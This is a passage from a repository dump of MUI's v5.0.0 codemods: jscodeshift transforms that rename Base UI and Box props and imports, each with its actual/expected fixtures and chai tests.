'component' && attributeName !== 'slots') {\n              attributeNodes.push(attributeNode);\n              return;\n            }\n\n            if (attributeName === 'component') {\n              const valueNode = attributeNode.value.expression || attributeNode.value;\n              const rootObject = j.objectProperty(j.identifier('root'), valueNode);\n              if (slotsPropNode && slotsPropNode.value.expression) {\n                slotsPropNode.value.expression.properties.push(rootObject);\n              } else {\n                slotsPropNode = j.jsxAttribute(\n                  j.jsxIdentifier('slots'),\n                  j.jsxExpressionContainer(j.objectExpression([rootObject])),\n                );\n                if (!slotPropNodeInserted) {\n                  slotPropNodeInserted = true;\n                  attributeNodes.push(slotsPropNode);\n                }\n              }\n\n              if (file.path.endsWith('.ts') || file.path.endsWith('.tsx')) {\n                if (valueNode.type === 'Literal' && valueNode.value && valueNode.raw) {\n                  elementPath.node.openingElement.name.name += `<${valueNode.raw}>`;\n                } else if (valueNode.type === 'Identifier' && valueNode.name) {\n                  elementPath.node.openingElement.name.name += `<typeof ${valueNode.name}>`;\n                }\n              }\n            }\n\n            if (attributeName === 'slots') {\n              if (\n                slotsPropNode &&\n                slotsPropNode.value.expression &&\n                attributeNode.value.expression\n              ) {\n                slotsPropNode.value.expression.properties = [\n                  ...slotsPropNode.value.expression.properties,\n                  ...attributeNode.value.expression.properties,\n                ];\n              } else {\n                slotsPropNode = attributeNode;\n              }\n              if (!slotPropNodeInserted) {\n                slotPropNodeInserted = true;\n                attributeNodes.push(slotsPropNode);\n              }\n            }\n          });\n\n          elementPath.node.openingElement.attributes = attributeNodes;\n        });\n      });\n    });\n\n  return transformed.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-component-prop.test/actual.jsx",
    "content": "import MaterialInput from '@mui/material/Input';\nimport Input from '@mui/base/Input';\nimport Switch from '@mui/base/Switch';\nimport Badge from '@mui/base/Badge';\n\n<MaterialInput component={CustomRoot} />;\n\n<Input component={CustomRoot} />;\n\n<Input component={CustomRoot} {...other}></Input>;\n\n<Switch\n  component={CustomRoot}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ root: { className: 'root' } }}\n/>;\n\n<Badge\n  slots={{ badge: CustomBadge }}\n  component={CustomRoot}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ badge: { className: 'badge' } }}\n/>;\n\n<Input component='a' href='url'></Input>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-component-prop.test/actual.tsx",
    "content": "// @ts-nocheck\nimport MaterialInput from '@mui/material/Input';\nimport Input from '@mui/base/Input';\nimport Switch from '@mui/base/Switch';\nimport Badge from '@mui/base/Badge';\n\n<MaterialInput component={CustomRoot} />;\n\n<Input component={CustomRoot} />;\n\n<Input component={CustomRoot} {...other}></Input>;\n\n<Switch\n  component={CustomRoot}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ root: { className: 'root' } }}\n/>;\n\n<Badge\n  slots={{ badge: CustomBadge }}\n  component={CustomRoot}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ badge: { className: 'badge' } }}\n/>;\n\n<Input component='a' href='url'></Input>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-component-prop.test/expected.jsx",
    "content": "import MaterialInput from '@mui/material/Input';\nimport Input from '@mui/base/Input';\nimport Switch from '@mui/base/Switch';\nimport Badge from '@mui/base/Badge';\n\n<MaterialInput component={CustomRoot} />;\n\n<Input slots={{\n  root: CustomRoot\n}} />;\n\n<Input slots={{\n  root: CustomRoot\n}} {...other}></Input>;\n\n<Switch\n  slots={{\n    root: CustomRoot\n  }}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ root: { className: 'root' } }}\n/>;\n\n<Badge\n  slots={{\n    badge: CustomBadge,\n    root: CustomRoot\n  }}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ badge: { className: 'badge' } }} />;\n\n<Input slots={{\n  root: 'a'\n}} href='url'></Input>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-component-prop.test/expected.tsx",
    "content": "// @ts-nocheck\nimport MaterialInput from '@mui/material/Input';\nimport Input from '@mui/base/Input';\nimport Switch from '@mui/base/Switch';\nimport Badge from '@mui/base/Badge';\n\n<MaterialInput component={CustomRoot} />;\n\n<Input<typeof CustomRoot> slots={{\n  root: CustomRoot\n}} />;\n\n<Input<typeof CustomRoot> slots={{\n  root: CustomRoot\n}} {...other}></Input>;\n\n<Switch<typeof CustomRoot>\n  slots={{\n    root: CustomRoot\n  }}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ root: { className: 'root' } }}\n/>;\n\n<Badge<typeof CustomRoot>\n  slots={{\n    badge: CustomBadge,\n    root: CustomRoot\n  }}\n  randomProp=\"1\"\n  randomProp2=\"2\"\n  randomProp3=\"3\"\n  slotProps={{ badge: { className: 'badge' } }} />;\n\n<Input<'a'> slots={{\n  root: 'a'\n}} href='url'></Input>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-component-prop.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './base-remove-component-prop';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('base-remove-component-prop', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./base-remove-component-prop.test/actual.tsx'),\n            path: require.resolve('./base-remove-component-prop.test/actual.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./base-remove-component-prop.test/expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    it('does not add generics if js is used', () => {\n      const actual = transform(\n        {\n          source: read('./base-remove-component-prop.test/actual.jsx'),\n          path: require.resolve('./base-remove-component-prop.test/actual.jsx'),\n        },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./base-remove-component-prop.test/expected.jsx');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-unstyled-suffix.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const transformed = root\n    .find(j.ImportDeclaration)\n    .filter(({ node }) => {\n      const sourceVal = node.source.value;\n      return sourceVal.startsWith('@mui/base');\n    })\n    .forEach((path) => {\n      const sourceVal = path.node.source.value;\n      if (sourceVal.startsWith('@mui/base')) {\n        path.node.source = j.stringLiteral(sourceVal.replace(/unstyled/im, ''));\n      }\n      const specifiers = [];\n      path.node.specifiers.forEach((elementNode) => {\n        const importedName = elementNode.imported?.name || '';\n        if (elementNode.type === 'ImportSpecifier' && importedName.match(/unstyled/im)) {\n          elementNode.imported.name = importedName.replace(/unstyled/im, '');\n          if (elementNode.local.name === importedName) {\n            // specifier must be newly created to add \"as\";\n            // e.g., import { SwitchUnstyled } to import { Switch as SwitchUnstyled}\n            specifiers.push(j.importSpecifier(elementNode.imported, elementNode.local));\n            return;\n          }\n        }\n\n        specifiers.push(elementNode);\n      });\n\n      path.node.specifiers = specifiers;\n    })\n    .toSource();\n\n  return transformed;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-unstyled-suffix.test/actual.js",
    "content": "import ButtonUnstyled, {\n  ButtonUnstyledProps,\n  ButtonUnstyledRootSlotProps,\n  buttonUnstyledClasses,\n} from '@mui/base/ButtonUnstyled';\nimport { SwitchUnstyled } from \"@mui/base\";\nimport { InputUnstyled as BaseInput } from \"@mui/base\";\nimport BaseSlider from \"@mui/base/Slider\";\n\nfunction App() {\n  return;\n  <>\n    <ButtonUnstyled />;\n    <SwitchUnstyled />;\n    <BaseInput />;\n    <BaseSlider />;\n  </>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-unstyled-suffix.test/expected.js",
    "content": "import ButtonUnstyled, {\n  ButtonProps as ButtonUnstyledProps,\n  ButtonRootSlotProps as ButtonUnstyledRootSlotProps,\n  buttonClasses as buttonUnstyledClasses,\n} from \"@mui/base/Button\";\nimport { Switch as SwitchUnstyled } from \"@mui/base\";\nimport { Input as BaseInput } from \"@mui/base\";\nimport BaseSlider from \"@mui/base/Slider\";\n\nfunction App() {\n  return;\n  <>\n    <ButtonUnstyled />;\n    <SwitchUnstyled />;\n    <BaseInput />;\n    <BaseSlider />;\n  </>;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-remove-unstyled-suffix.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './base-remove-unstyled-suffix';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('base-remove-unstyled-suffix', () => {\n      it('removes `Unstyled` suffix from Base UI components except default import declarations', () => {\n        const actual = transform(\n          {\n            source: read('./base-remove-unstyled-suffix.test/actual.js'),\n            path: require.resolve('./base-remove-unstyled-suffix.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./base-remove-unstyled-suffix.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-rename-components-to-slots.js",
    "content": "function transformComponentsProp(attributeNode) {\n  attributeNode.name.name = 'slots';\n\n  const valueExpression = attributeNode.value.expression;\n  if (valueExpression?.type !== 'ObjectExpression') {\n    return;\n  }\n\n  valueExpression.properties.forEach((property) => {\n    property.key.name = property.key.name[0].toLowerCase() + property.key.name.slice(1);\n\n    if (property.shorthand) {\n      property.shorthand = false;\n    }\n  });\n}\n\nfunction transformComponentsPropsProp(attributeNode) {\n  attributeNode.name.name = 'slotProps';\n}\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  const transformed = root.findJSXElements().forEach((path) => {\n    // Process only unstyled components\n    if (!path.node.openingElement.name.name.endsWith('Unstyled')) {\n      return;\n    }\n\n    path.node.openingElement.attributes.forEach((node) => {\n      if (node.type !== 'JSXAttribute') {\n        return;\n      }\n\n      switch (node.name.name) {\n        case 'components':\n          transformComponentsProp(node);\n          break;\n\n        case 'componentsProps':\n          transformComponentsPropsProp(node);\n          break;\n\n        default:\n      }\n    });\n  });\n\n  return transformed.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-rename-components-to-slots.test/actual.js",
    "content": "<BadgeUnstyled\n  components={{ Root, Badge: CustomBadge }}\n  componentsProps={{ root: { className: 'root' }, badge: { 'data-testid': 'badge' } }}\n/>;\n\n<InputUnstyled\n  components={{ Input: CustomInput, Root: CustomRoot }}\n  componentsProps={{ root: { className: 'root' }, input: { className: 'input' } }}\n/>;\n\n<Badge\n  components={{ Root, Badge: CustomBadge }}\n  componentsProps={{ root: { className: 'root' }, badge: { 'data-testid': 'badge' } }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-rename-components-to-slots.test/expected.js",
    "content": "<BadgeUnstyled\n  slots={{ root: Root, badge: CustomBadge }}\n  slotProps={{ root: { className: 'root' }, badge: { 'data-testid': 'badge' } }}\n/>;\n\n<InputUnstyled\n  slots={{ input: CustomInput, root: CustomRoot }}\n  slotProps={{ root: { className: 'root' }, input: { className: 'input' } }}\n/>;\n\n<Badge\n  components={{ Root, Badge: CustomBadge }}\n  componentsProps={{ root: { className: 'root' }, badge: { 'data-testid': 'badge' } }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-rename-components-to-slots.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './base-rename-components-to-slots';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('base-rename-components-to-slots', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./base-rename-components-to-slots.test/actual.js'),\n            path: require.resolve('./base-rename-components-to-slots.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./base-rename-components-to-slots.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-use-named-exports.js",
    "content": "// certain exports don't match the directory they are in:\nconst nameMapping = {\n  className: 'Unstable_ClassNameGenerator',\n  composeClasses: 'unstable_composeClasses',\n  generateUtilityClass: 'unstable_generateUtilityClass',\n  generateUtilityClasses: 'unstable_generateUtilityClasses',\n  NumberInput: 'Unstable_NumberInput',\n};\n\n// renamed directories to match the export:\nconst pathMapping = {\n  '@mui/base/className': '@mui/base/ClassNameGenerator',\n};\n\nfunction getExportedIdentifier(importPath) {\n  return nameMapping[importPath] ?? importPath;\n}\n\nfunction getTransformedPath(originalPath) {\n  return pathMapping[originalPath] ?? originalPath;\n}\n\n/**\n * Finds the last segment of the path starting with @mui/base.\n *\n * @example '@mui/base/Menu' ➔ 'Menu'\n * @example '@mui/base' ➔ null\n */\nfunction getBaseImportIdentifier(path, filePath) {\n  const source = path?.node?.source?.value;\n  if (!source) {\n    return null;\n  }\n\n  const baseImportPathMatch = source.match(/@mui\\/base\\/(.+)/);\n\n  if (baseImportPathMatch == null) {\n    return null;\n  }\n\n  if (baseImportPathMatch[1]?.includes('/')) {\n    console.warn(\n      `WARNING: ${filePath}: \"${source}\" is more than one level deep. This is not supported.`,\n    );\n\n    return null;\n  }\n\n  return baseImportPathMatch[1] ?? null;\n}\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  const withTransformedImports = j(file.source)\n    .find(j.ImportDeclaration)\n    .forEach((path) => {\n      const baseImportPath = getBaseImportIdentifier(path, file.path);\n      if (baseImportPath === null) {\n        return;\n      }\n\n      path.node.specifiers = path.node.specifiers.map((specifier) => {\n        if (specifier.type !== 'ImportDefaultSpecifier') {\n          return specifier;\n        }\n\n        // import Y from @mui/base/X ➔ import { X as Y } from @mui/base/X\n        return j.importSpecifier(\n          j.identifier(getExportedIdentifier(baseImportPath)),\n          specifier.local,\n        );\n      });\n\n      path.node.source = j.stringLiteral(getTransformedPath(path.node.source.value));\n    })\n    .toSource(printOptions);\n\n  return j(withTransformedImports)\n    .find(j.ExportNamedDeclaration)\n    .forEach((path) => {\n      const baseImportPath = getBaseImportIdentifier(path);\n      if (baseImportPath === null) {\n        return;\n      }\n\n      path.node.specifiers = path.node.specifiers.map((specifier) => {\n        if (specifier.local.name !== 'default') {\n          return specifier;\n        }\n\n        if (specifier.exported.name === 'default') {\n          // export { default } from @mui/base/X ➔ export { X as default } from @mui/base/X\n          return j.exportSpecifier.from({\n            exported: j.identifier('default'),\n            local: j.identifier(baseImportPath),\n          });\n        }\n\n        // export { default as Y } from @mui/base/X ➔ export { X as Y } from @mui/base/X\n        return j.exportSpecifier.from({\n          exported: j.identifier(specifier.exported.name),\n          local: j.identifier(getExportedIdentifier(baseImportPath)),\n        });\n      });\n\n      path.node.source = j.stringLiteral(getTransformedPath(path.node.source.value));\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-use-named-exports.test/actual-with-warning.js",
    "content": "import Button from '@mui/base/Button';\nimport ClassNameConfigurator from '@mui/base/utils/ClassNameConfigurator';\n\nexport { default, sliderClasses } from '@mui/base/Slider';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-use-named-exports.test/actual.js",
    "content": "import Button from '@mui/base/Button';\nimport Badge, { badgeClasses } from '@mui/base/Badge';\nimport BaseSwitch from '@mui/base/Switch';\nimport BaseSelect, { selectClasses } from '@mui/base/Select';\nimport { Menu, MenuItem } from '@mui/base';\nimport composeClasses from '@mui/base/composeClasses';\nimport Unstable_NumberInput from '@mui/base/NumberInput';\nimport { Unstable_ClassNameGenerator } from '@mui/base/className';\n\nexport { default, sliderClasses } from '@mui/base/Slider';\nexport { default as BaseOption } from '@mui/base/Option';\nexport { tabPanelClasses, default as BaseTabPanel } from '@mui/base/TabPanel';\nexport { default as NumberInput } from '@mui/base/NumberInput';\nexport { Unstable_ClassNameGenerator } from '@mui/base/className';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-use-named-exports.test/expected-with-warning.js",
    "content": "import { Button } from '@mui/base/Button';\nimport ClassNameConfigurator from '@mui/base/utils/ClassNameConfigurator';\n\nexport { Slider as default, sliderClasses } from '@mui/base/Slider';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-use-named-exports.test/expected.js",
    "content": "import { Button } from '@mui/base/Button';\nimport { Badge, badgeClasses } from '@mui/base/Badge';\nimport { Switch as BaseSwitch } from '@mui/base/Switch';\nimport { Select as BaseSelect, selectClasses } from '@mui/base/Select';\nimport { Menu, MenuItem } from '@mui/base';\nimport { unstable_composeClasses as composeClasses } from '@mui/base/composeClasses';\nimport { Unstable_NumberInput } from '@mui/base/NumberInput';\nimport { Unstable_ClassNameGenerator } from '@mui/base/ClassNameGenerator';\n\nexport { Slider as default, sliderClasses } from '@mui/base/Slider';\nexport { Option as BaseOption } from '@mui/base/Option';\nexport { tabPanelClasses, TabPanel as BaseTabPanel } from '@mui/base/TabPanel';\nexport { Unstable_NumberInput as NumberInput } from '@mui/base/NumberInput';\nexport { Unstable_ClassNameGenerator } from '@mui/base/ClassNameGenerator';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/base-use-named-exports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './base-use-named-exports';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('base-use-named-exports', () => {\n      it('transforms exports as needed', () => {\n        const actual = transform(\n          {\n            source: read('./base-use-named-exports.test/actual.js'),\n            path: require.resolve('./base-use-named-exports.test/actual.js'),\n          },\n          { jscodeshift },\n          { printOptions: { quote: 'single' } },\n        );\n\n        const expected = read('./base-use-named-exports.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./base-use-named-exports.test/expected.js'),\n            path: require.resolve('./base-use-named-exports.test/expected.js'),\n          },\n          { jscodeshift },\n          { printOptions: { quote: 'single' } },\n        );\n\n        const expected = read('./base-use-named-exports.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('warns when deep import is found but transforms all the valid ones', () => {\n        let actual;\n        const filePath = require.resolve('./base-use-named-exports.test/actual-with-warning.js');\n        expect(() => {\n          actual = transform(\n            {\n              source: read('./base-use-named-exports.test/actual-with-warning.js'),\n              path: filePath,\n            },\n            { jscodeshift },\n            { printOptions: { quote: 'single' } },\n          );\n        }).toWarnDev(\n          `WARNING: ${filePath}: \"@mui/base/utils/ClassNameConfigurator\" is more than one level deep. This is not supported.`,\n        );\n\n        const expected = read('./base-use-named-exports.test/expected-with-warning.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n        expect(actual);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-borderradius-values.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n\n  const printOptions = options.printOptions;\n\n  return j(file.source)\n    .findJSXElements('Box')\n    .forEach((path) => {\n      path.node.openingElement.attributes.forEach((node) => {\n        if (node.type === 'JSXAttribute' && node.name.name === 'borderRadius') {\n          // borderRadius={16} => borderRadius=\"16px\"\n          if (node.value.type === 'JSXExpressionContainer') {\n            node.value = j.stringLiteral(`${node.value.expression.value}px`);\n            // borderRadius=\"borderRadius\" => borderRadius={1}\n          } else if (node.value.value === 'borderRadius') {\n            node.value = j.jsxExpressionContainer(j.numericLiteral(1));\n          }\n        }\n      });\n    })\n    .toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-borderradius-values.test/actual.js",
    "content": "<div>\n  <Box borderRadius=\"borderRadius\" />\n  <Box borderRadius={16} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-borderradius-values.test/expected.js",
    "content": "<div>\n  <Box borderRadius={1} />\n  <Box borderRadius=\"16px\" />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-borderradius-values.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './box-borderradius-values';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('box-borderradius-values', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./box-borderradius-values.test/actual.js'),\n            path: require.resolve('./box-borderradius-values.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-borderradius-values.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-css.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  return renameProps({\n    root,\n    componentName: 'Box',\n    props: { css: 'sx' },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-css.test/actual.js",
    "content": "<Box\n  css={{\n    m: 2,\n    '& .MuiInputBase-root': {\n      color: 'red',\n    },\n  }}\n>\n  <CustomComponent css={{ attr: 'test' }} />\n</Box>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-css.test/expected.js",
    "content": "<Box\n  sx={{\n    m: 2,\n    '& .MuiInputBase-root': {\n      color: 'red',\n    },\n  }}\n>\n  <CustomComponent css={{ attr: 'test' }} />\n</Box>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-css.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './box-rename-css';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('box-rename-css', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./box-rename-css.test/actual.js'),\n            path: require.resolve('./box-rename-css.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-rename-css.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./box-rename-css.test/expected.js'),\n            path: require.resolve('./box-rename-css.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-rename-css.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-gap.js",
    "content": "import renameProps from '../util/renameProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions;\n\n  return renameProps({\n    root,\n    componentName: 'Box',\n    props: { gridGap: 'gap', gridColumnGap: 'columnGap', gridRowGap: 'rowGap' },\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-gap.test/actual.js",
    "content": "<Box>\n  <Box gridGap={2}>Item 3</Box>\n  <Box gridColumnGap={3}>Item 4</Box>\n  <Box gridRowGap={4}>Item 5</Box>\n</Box>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-gap.test/expected.js",
    "content": "<Box>\n  <Box gap={2}>Item 3</Box>\n  <Box columnGap={3}>Item 4</Box>\n  <Box rowGap={4}>Item 5</Box>\n</Box>\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-rename-gap.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './box-rename-gap';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('box-rename-gap', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./box-rename-gap.test/actual.js'),\n            path: require.resolve('./box-rename-gap.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-rename-gap.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./box-rename-gap.test/expected.js'),\n            path: require.resolve('./box-rename-gap.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./box-rename-gap.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-sx-prop.js",
    "content": "import propsToObject from '../util/propsToObject';\n\nconst props = [\n  'border',\n  'borderTop',\n  'borderRight',\n  'borderBottom',\n  'borderLeft',\n  'borderColor',\n  'borderRadius',\n  'displayPrint',\n  'display',\n  'overflow',\n  'textOverflow',\n  'visibility',\n  'whiteSpace',\n  'flexDirection',\n  'flexWrap',\n  'justifyContent',\n  'alignItems',\n  'alignContent',\n  'order',\n  'flex',\n  'flexGrow',\n  'flexShrink',\n  'alignSelf',\n  'color',\n  'bgcolor',\n  'position',\n  'zIndex',\n  'top',\n  'right',\n  'bottom',\n  'left',\n  'boxShadow',\n  'width',\n  'maxWidth',\n  'minWidth',\n  'height',\n  'maxHeight',\n  'minHeight',\n  'boxSizing',\n  'm',\n  'mt',\n  'mr',\n  'mb',\n  'ml',\n  'mx',\n  'my',\n  'p',\n  'pt',\n  'pr',\n  'pb',\n  'pl',\n  'px',\n  'py',\n  'margin',\n  'marginTop',\n  'marginRight',\n  'marginBottom',\n  'marginLeft',\n  'marginX',\n  'marginY',\n  'padding',\n  'paddingTop',\n  'paddingRight',\n  'paddingBottom',\n  'paddingLeft',\n  'paddingX',\n  'paddingY',\n  'fontFamily',\n  'fontSize',\n  'fontStyle',\n  'fontWeight',\n  'letterSpacing',\n  'lineHeight',\n  'textAlign',\n];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n\n  const printOptions = options.printOptions || {\n    quote: 'single',\n  };\n\n  let aliasName;\n\n  root.find(j.ImportDeclaration).forEach((path) => {\n    if (path.node.source.value.match(/^(@mui\\/material|@material-ui\\/core)$/)) {\n      if (path.node.specifiers[0]?.type === 'ImportNamespaceSpecifier') {\n        aliasName = path.node.specifiers[0].local.name;\n      }\n    }\n  });\n\n  return propsToObject({\n    j,\n    root,\n    aliasName,\n    componentName: 'Box',\n    propName: 'sx',\n    props,\n  }).toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-sx-prop.test/actual.js",
    "content": "\nimport Box from '@material-ui/core/Box';\nimport Button from '@material-ui/core/Button';\n\nexport default function BoxComponent(props) {\n  return (\n    <Box border=\"1px dashed grey\" p={[2, 3, 4]} sx={{ m: 2 }}>\n      <Box component=\"span\" clone p={{ xs: 2, sm: 3, md: 4 }} m={2} border=\"1px dashed grey\">\n        <Button component=\"span\">Save</Button>\n      </Box>\n      <Box p={[1, 2, 4]} {...props} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-sx-prop.test/alias-actual.js",
    "content": "import * as UI from '@material-ui/core';\n\nconst Foo = () => <UI.Box px={2} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-sx-prop.test/alias-expected.js",
    "content": "import * as UI from '@material-ui/core';\n\nconst Foo = () => <UI.Box\n  sx={{\n    px: 2\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/box-sx-prop.test/expected.js",
